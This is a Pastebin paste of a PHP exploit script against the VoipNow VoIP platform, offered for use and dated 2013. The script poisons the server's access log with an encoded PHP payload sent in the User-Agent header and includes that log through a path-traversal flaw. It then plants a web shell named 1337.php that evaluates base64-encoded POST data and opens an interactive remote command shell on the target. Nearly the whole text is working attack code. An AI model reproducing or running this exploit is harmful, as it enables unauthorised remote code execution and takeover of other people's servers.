i-Hmx

VoipNow , Remote command execution Exploit

Apr 21st, 2013
977
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.11 KB | None | 0 0
  1. <?
  2. /*
  3. + Application : Voipnow
  4. | Download : http://4psa.com/
  5. | By Faris , AKA i-Hmx
  6. + sec4ever.com , 1337s.cc
  7. */
  8. echo "\n+-------------------------------------------+\n";
  9. echo "|                  VoipNow                  |\n";
  10. echo "|         PHP Code Injection Exploit        |\n";
  11. echo "|                  By i-Hmx                 |\n";
  12. echo "|                sec4ever.com               |\n";
  13. echo "|             [email protected]             |\n";
  14. echo "+-------------------------------------------+\n";
  15. echo "\n| Enter Target [Ip Only] # ";
  16. $target=trim(fgets(STDIN));
  17. echo "[+] Attacking $target\n";
  18. function faget($url,$post,$uagent){
  19. $curl=curl_init();
  20. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  21. curl_setopt($curl,CURLOPT_URL,$url);
  22. curl_setopt($curl, CURLOPT_USERAGENT, $uagent);
  23. curl_setopt($curl, CURLOPT_REFERER, "http://1337s.cc/index.php");
  24. curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
  25. curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
  26. curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
  27. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  28. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
  29. curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
  30. curl_setopt($curl,CURLOPT_TIMEOUT,20);
  31. curl_setopt($curl, CURLOPT_HEADER, true);
  32. $exec=curl_exec($curl);
  33. curl_close($curl);
  34. return $exec;
  35. }
  36. $inj="<?php eval(url_decode('%24f%3Dfopen%28%27%2fusr%2flocal%2fvoipnow%2fadmin%2fhtdocs%2ftemplates_c%2f1337.php%27%2C%27w%2b%27%29%3B%24data%3D%27%3C%3F%20echo%20%22Faris%20on%20the%20mic%20%3AD%3Cbr%3E%3Cb%[email protected]%3C%2fb%3E%3Cbr%3E-----------------%22%3B@eval%28base64_decode%28%24_POST%5Bfa%5D%29%29%3Becho%20%22-----------------%22%3B%20%3F%3E%27%3Bfwrite%28%24f%2C%24data%29%3Becho%20%22done%22%3B')); ?>";
  37. echo " | Injecting Payload(s) [ Time Depend on server traffic ]\n";
  38. echo "     + [0]";
  39. faget("https://".$target."/help/index.php?screen=../../../../../../../../usr/local/voipnow/admin/logs/access.log",'',$inj);
  40. echo " > Done\n";
  41. for($f=1;$f<4;$f++)
  42. {
  43. echo "     + [$f]";
  44. faget("https://".$target."/help/index.php?screen=../../../../../../../../usr/local/voipnow/admin/logs/access.log.$f",'',$inj);
  45. echo " > Done\n";
  46. }
  47. echo " | Testing Payload Execution\n";
  48. $fa1=faget("https://".$target."/templates_c/1337.php",'',"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
  49. if(!eregi("Faris on the mic :D",$fa1))
  50. {
  51. die("[+] Exploitation Failed :(\n");
  52. }
  53. echo " | Sending CMD test package\n";
  54. $cmd=faget($target."/templates_c/1337.php","fa=cGFzc3RocnUoJ2VjaG8gZmFyc2F3eScpOw==");
  55. if(!eregi("farsawy",$cmd))
  56. {
  57. die("   + Cmd couldn't executed but we can evaluate php code\n   + use : $target/templates_c/1337.php\n   Post : fa=base64code\n");
  58. }
  59. echo "| sec4ever shell online ;)\n\n";
  60. while(1){
  61. echo "i-Hmx@$host# ";
  62. $c=trim(fgets(STDIN));
  63. if($c=='exit'){die("[+] Terminating\n");}
  64. $payload=base64_encode("passthru('$c');");
  65. $fuck=faget("https://".$target."/templates_c/1337.php","fa=$payload","Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
  66. $done=kastr($fuck,"-----------------","-----------------");
  67. echo "$done\n";
  68. }
  69. ?>
Add Comment
Please, Sign In to add comment